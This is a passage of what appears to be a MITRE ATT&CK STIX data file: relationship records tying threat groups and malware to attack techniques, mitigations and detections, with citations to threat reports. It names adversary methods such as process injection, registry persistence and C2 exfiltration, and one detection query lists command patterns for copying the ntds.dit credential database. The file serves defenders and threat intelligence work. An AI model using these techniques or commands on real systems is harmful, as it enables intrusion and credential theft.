["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-29T15:37:40.828Z", "description": "A [Threat Group-3390](https://attack.mitre.org/groups/G0027) tool can spawn `svchost.exe` and inject the payload into that process.(Citation: Nccgroup Emissary Panda May 2018)(Citation: Securelist LuckyMouse June 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", "target_ref": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--17b6dd18-037e-4a39-bcc8-67ea8fafdd1a", "type": "relationship", "created": "2022-03-30T14:26:51.855Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.855Z", "description": "Monitor executed commands and arguments for logon scripts", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--17b92de6-f308-4468-8b2e-c1b2edf08e46", "type": "relationship", "created": "2020-10-20T03:36:29.915Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-04-15T03:49:13.516Z", "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", "relationship_type": "mitigates", "source_ref": "course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc", "target_ref": "attack-pattern--17fd695c-b88c-455a-a3d1-43b6cb728532", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--17bace22-3930-4b7e-9fd1-1473da5496ff", "created": "2023-09-06T15:36:26.470Z", "revoked": false, "external_references": [{"source_name": "Symantec FIN8 Jul 2023", "description": "Symantec Threat Hunter Team. (2023, July 18). FIN8 Uses Revamped Sardonic Backdoor to Deliver Noberus Ransomware. Retrieved August 9, 2023.", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/syssphinx-fin8-backdoor"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-06T15:36:26.470Z", "description": "[FIN8](https://attack.mitre.org/groups/G0061) has executed the command `quser` to display the session details of a compromised machine.(Citation: Symantec FIN8 Jul 2023) ", "relationship_type": "uses", "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--17bb48d5-7b1b-43be-b18e-07bc0462cad5", "created": "2023-02-23T18:15:32.787Z", "revoked": false, "external_references": [{"source_name": "Kaspersky LuminousMoth July 2021", "description": "Lechtik, M, and etl. (2021, July 14). LuminousMoth APT: Sweeping attacks for the chosen few. Retrieved October 20, 2022.", "url": "https://securelist.com/apt-luminousmoth/103332/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-23T18:15:32.787Z", "description": "[LuminousMoth](https://attack.mitre.org/groups/G1014) has used malware to store malicious binaries in hidden directories on victim's USB drives.(Citation: Kaspersky LuminousMoth July 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--b7f627e2-0817-4cd5-8d50-e75f8aa85cc6", "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--17bc0957-1509-4faf-bb51-a6a9e1959978", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "DFIR Phosphorus November 2021", "description": "DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.", "url": "https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"}, {"source_name": "DFIR Report APT35 ProxyShell March 2022", "description": "DFIR Report. (2022, March 21). APT35 Automates Initial Access Using ProxyShell. Retrieved May 25, 2022.", "url": "https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell"}, {"source_name": "Unit 42 Magic Hound Feb 2017", "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-01-05T20:25:28.951Z", "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has used the command-line interface for code execution.(Citation: Unit 42 Magic Hound Feb 2017)(Citation: DFIR Report APT35 ProxyShell March 2022)(Citation: DFIR Phosphorus November 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--17bc166c-7598-4297-9cc1-1ee9ef4182a2", "created": "2022-10-17T19:21:41.895Z", "revoked": false, "external_references": [{"source_name": "Cylance Dust Storm", "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.", "url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-17T19:21:41.895Z", "description": "[S-Type](https://attack.mitre.org/software/S0085) has run tests to determine the privilege level of the compromised user.(Citation: Cylance Dust Storm)", "relationship_type": "uses", "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--17bee216-d5ff-4e66-b221-0129be41b4f5", "type": "relationship", "created": "2019-01-29T21:40:37.812Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Zscaler Cobian Aug 2017", "url": "https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat", "description": "Yadav, A., et al. (2017, August 31). Cobian RAT \u2013 A backdoored RAT. Retrieved November 13, 2018."}], "modified": "2019-04-23T21:09:54.753Z", "description": "[Cobian RAT](https://attack.mitre.org/software/S0338) has a feature to access the webcam on the victim\u2019s machine.(Citation: Zscaler Cobian Aug 2017)", "relationship_type": "uses", "source_ref": "malware--aa1462a1-d065-416c-b354-bedd04998c7f", "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--17bfea1d-e3c8-4bf9-8102-576e7c87883e", "type": "relationship", "created": "2020-05-26T20:33:11.721Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CheckPoint Naikon May 2020", "url": "https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/", "description": "CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020."}], "modified": "2020-06-03T13:40:15.319Z", "description": "[Aria-body](https://attack.mitre.org/software/S0456) has the ability to use a DGA for C2 communications.(Citation: CheckPoint Naikon May 2020)", "relationship_type": "uses", "source_ref": "malware--3161d76a-e2b2-4b97-9906-24909b735386", "target_ref": "attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--17c0d0d3-b57d-434d-9404-1e67414a4da5", "created": "2021-03-17T20:30:08.950Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Anomali Static Kitten February 2021", "description": "Mele, G. et al. (2021, February 10). Probable Iranian Cyber Actors, Static Kitten, Conducting Cyberespionage Campaign Targeting UAE and Kuwait Government Agencies. Retrieved March 17, 2021.", "url": "https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-27T20:22:44.099Z", "description": "MuddyWater has made use of legitimate tools ConnectWise and Remote Utilities to gain access to target environment.(Citation: Anomali Static Kitten February 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--17c3e2e7-f208-408c-b767-6c5be92646c4", "created": "2023-06-23T20:29:42.868Z", "revoked": false, "external_references": [{"source_name": "Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023", "description": "FBI et al. (2023, May 9). Hunting Russian Intelligence \u201cSnake\u201d Malware. Retrieved June 8, 2023.", "url": "https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-06-23T20:29:42.868Z", "description": "[Uroburos](https://attack.mitre.org/software/S0022) can use its `Get` command to exfiltrate specified files from the compromised system.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)", "relationship_type": "uses", "source_ref": "malware--80a014ba-3fef-4768-990b-37d8bd10d7f4", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--17c43eed-f8a2-42cb-8f0a-f31978e9e351", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT37 Feb 2018", "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}], "modified": "2020-03-20T21:24:11.248Z", "description": "[POORAIM](https://attack.mitre.org/software/S0216) can conduct file browsing.(Citation: FireEye APT37 Feb 2018)", "relationship_type": "uses", "source_ref": "malware--53d47b09-09c2-4015-8d37-6633ecd53f79", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--17c50546-6ffb-462e-b4ec-2d7cd0b00f55", "type": "relationship", "created": "2021-09-28T18:53:02.564Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky Ferocious Kitten Jun 2021", "url": "https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/", "description": "GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}], "modified": "2021-10-15T15:03:46.306Z", "description": "[MarkiRAT](https://attack.mitre.org/software/S0652) can retrieve the victim\u2019s username.(Citation: Kaspersky Ferocious Kitten Jun 2021)", "relationship_type": "uses", "source_ref": "malware--532c6004-b1e8-415b-9516-f7c14ba783b1", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--17c61826-15ca-4eab-b3a7-073fc47a144d", "created": "2022-03-30T14:26:51.857Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T18:19:19.241Z", "description": "Monitor executed commands and arguments that may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. Look for command-lines that invoke attempts to access or copy the NTDS.dit.\n\nNote: Events 4688 (Microsoft Windows Security Auditing) and 1 (Microsoft Windows Sysmon) provide context of commands and parameters being executed via creation of a new process. Event 800 (PowerShell) provides context of commands and parameters being executed via PowerShell. This detection is based on known Windows utilities commands and parameters that can be used to copy the ntds.dit file. It is recommended to keep the list of commands and parameters up to date.\n\nAnalytic 1 - Command line attempt to access or create a copy of ntds.dit file\n\n<code>((source=\"WinEventLog:Microsoft-Windows-Powershell/Operational\"  EventCode=\"800\") AND\n((CommandLine LIKE \"%ntds%\" AND CommandLine LIKE \"%ntdsutil%\" AND CommandLine LIKE \"%create%\") OR (CommandLine LIKE \"%vssadmin%\" AND CommandLine LIKE \"%create%\" AND CommandLine LIKE \"%shadow%\") OR (CommandLine LIKE \"%copy%\" AND CommandLine LIKE \"%ntds.dit%\")))</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--17c78374-26ca-40a8-935b-04327c503742", "type": "relationship", "created": "2020-01-28T17:11:54.413Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-29T21:23:52.051Z", "description": "Automatically forward events to a log server or data repository to prevent conditions in which the adversary can locate and manipulate data on the local system. When possible, minimize time delay on event reporting to avoid prolonged storage on the local system.", "relationship_type": "mitigates", "source_ref": "course-of-action--20a2baeb-98c2-4901-bad7-dc62d0a03dea", "target_ref": "attack-pattern--2bce5b30-7014-4a5d-ade7-12913fe6ac36", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--17cafa26-57f1-4efb-9d23-1399cd2de4cd", "type": "relationship", "created": "2019-01-29T20:17:49.270Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Ray, V. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved November 9, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/", "source_name": "Unit 42 Tropic Trooper Nov 2016"}, {"source_name": "TrendMicro Tropic Trooper May 2020", "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf", "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}], "modified": "2020-05-29T03:23:28.026Z", "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) is capable of enumerating the running processes on the system using <code>pslist</code>.(Citation: Unit 42 Tropic Trooper Nov 2016)(Citation: TrendMicro Tropic Trooper May 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--17ce446f-1a76-46d5-a276-589713425af8", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "S2 Grupo TrickBot June 2017", "description": "Salinas, M., Holguin, J. (2017, June). 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Retrieved August 13, 2020."}], "modified": "2021-12-07T15:14:11.892Z", "description": "(Citation: Secureworks MCMD July 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1", "target_ref": "tool--975737f1-b10d-476f-8bda-3ec26ea57172", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1829d419-0145-4a47-bb1e-ff00e647b5ff", "type": "relationship", "created": "2021-01-13T21:54:29.668Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro Pawn Storm Dec 2020", "url": "https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html", "description": "Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm\u2019s Lack of Sophistication as a Strategy. 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(2018, September 8). SMB: Command Reference. Retrieved July 17, 2020."}], "modified": "2020-07-29T20:01:03.097Z", "description": "[CrackMapExec](https://attack.mitre.org/software/S0488) can enumerate the domain user accounts on a targeted system.(Citation: CME Github September 2018)", "relationship_type": "uses", "source_ref": "tool--c4810609-7da6-48ec-8057-1b70a7814db0", "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--18324fed-7770-4768-b652-59860ac4782f", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT30", "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. 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[FLASHFLOOD](https://attack.mitre.org/software/S0036) also collects information stored in the Windows Address Book.(Citation: FireEye APT30)", "relationship_type": "uses", "source_ref": "malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--18355c9b-c3e8-4bc7-a389-425e5d7c6351", "type": "relationship", "created": "2021-08-12T14:55:37.779Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Sogeti CERT ESEC Babuk March 2021", "url": "https://www.sogeti.com/globalassets/reports/cybersecchronicles_-_babuk.pdf", "description": "Sogeti. (2021, March). Babuk Ransomware. Retrieved August 11, 2021."}, {"source_name": "McAfee Babuk February 2021", "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-babuk-ransomware.pdf", "description": "Mundo, A. et al. (2021, February). Technical Analysis of Babuk Ransomware. Retrieved August 11, 2021."}, {"source_name": "Medium Babuk February 2021", "url": "https://sebdraven.medium.com/babuk-is-distributed-packed-78e2f5dd2e62", "description": "Sebdraven. (2021, February 8). Babuk is distributed packed. Retrieved August 11, 2021."}, {"source_name": "Trend Micro Ransomware February 2021", "url": "https://www.trendmicro.com/en_us/research/21/b/new-in-ransomware.html", "description": "Centero, R. et al. (2021, February 5). New in Ransomware: Seth-Locker, Babuk Locker, Maoloa, TeslaCrypt, and CobraLocker. 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Retrieved February 5, 2019."}], "modified": "2021-09-29T13:02:30.909Z", "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used a tool called GREASE to add a Windows admin account in order to allow them continued access via RDP.(Citation: Netscout Stolen Pencil Dec 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--184ee176-b599-4586-b1fc-5758c91a0c23", "type": "relationship", "created": "2020-10-21T17:01:35.568Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Fortinet Metamorfo Feb 2020", "url": "https://www.fortinet.com/blog/threat-research/another-metamorfo-variant-targeting-customers-of-financial-institutions", "description": "Zhang, X. (2020, February 4). Another Metamorfo Variant Targeting Customers of Financial Institutions in More Countries. Retrieved July 30, 2020."}, {"source_name": "ESET Casbaneiro Oct 2019", "url": "https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/", "description": "ESET Research. (2019, October 3). Casbaneiro: peculiarities of this banking Trojan that affects Brazil and Mexico. Retrieved September 23, 2021."}], "modified": "2021-10-15T00:43:45.423Z", "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has used MsiExec.exe to automatically execute files.(Citation: Fortinet Metamorfo Feb 2020)(Citation: ESET Casbaneiro Oct 2019) ", "relationship_type": "uses", "source_ref": "malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2", "target_ref": "attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--184f018e-cb09-4da4-a599-bc7de09e262e", "type": "relationship", "created": "2021-01-28T19:56:08.939Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Prevailion EvilNum May 2020", "url": "https://www.prevailion.com/phantom-in-the-command-shell-2/", "description": "Adamitis, D. (2020, May 6). Phantom in the Command Shell. Retrieved December 22, 2021."}], "modified": "2022-01-19T18:23:53.028Z", "description": "[EVILNUM](https://attack.mitre.org/software/S0568) has used a one-way communication method via GitLab and Digital Point to perform C2.(Citation: Prevailion EvilNum May 2020)", "relationship_type": "uses", "source_ref": "malware--7cdfccda-2950-4167-981a-60872ff5d0db", "target_ref": "attack-pattern--9c99724c-a483-4d60-ad9d-7f004e42e8e8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--185020c6-9b2a-4b08-8936-7d407ea753b4", "type": "relationship", "created": "2020-06-10T21:56:39.932Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Telebots Dec 2016", "url": "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/", "description": "Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020."}], "modified": "2020-06-10T21:56:39.932Z", "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034)'s BCS-server tool uses base64 encoding and HTML tags for the communication traffic between the C2 server.(Citation: ESET Telebots Dec 2016)\t", "relationship_type": "uses", "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1851d77b-bfdc-4aad-93cb-2e17a187c956", "type": "relationship", "created": "2022-03-30T14:26:51.859Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.859Z", "description": "Monitor for the creation of the Office Test Registry key. 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Retrieved March 24, 2016.", "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL_0.pdf"}], "modified": "2020-03-17T01:30:41.518Z", "description": "[Hi-Zor](https://attack.mitre.org/software/S0087) has the ability to upload and download files from its C2 server.(Citation: Fidelis INOCNATION)", "relationship_type": "uses", "source_ref": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1858731f-2e82-4704-acba-b8de57dcfc4f", "type": "relationship", "created": "2021-09-29T00:30:23.820Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Checkpoint IndigoZebra July 2021", "url": "https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/", "description": "CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."}], "modified": "2021-10-16T02:20:16.888Z", "description": "[xCaon](https://attack.mitre.org/software/S0653) has added persistence via the Registry key <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\load</code> which causes the malware to run each time any user logs in.(Citation: Checkpoint IndigoZebra July 2021)", "relationship_type": "uses", "source_ref": "malware--21583311-6321-4891-8a37-3eb4e57b0fb1", "target_ref": "attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--185a72dd-e151-4eba-81f4-c3eeaa67873a", "type": "relationship", "created": "2019-01-29T19:36:02.746Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. 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(2022, June 9). Lyceum .NET DNS Backdoor. Retrieved June 23, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[DnsSystem](https://attack.mitre.org/software/S1021) can exfiltrate collected data to its C2 server.(Citation: Zscaler Lyceum DnsSystem June 2022)", "modified": "2022-09-01T15:49:21.153Z", "relationship_type": "uses", "source_ref": "malware--8a2867f9-e8fc-4bf1-a860-ef6e46311900", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": 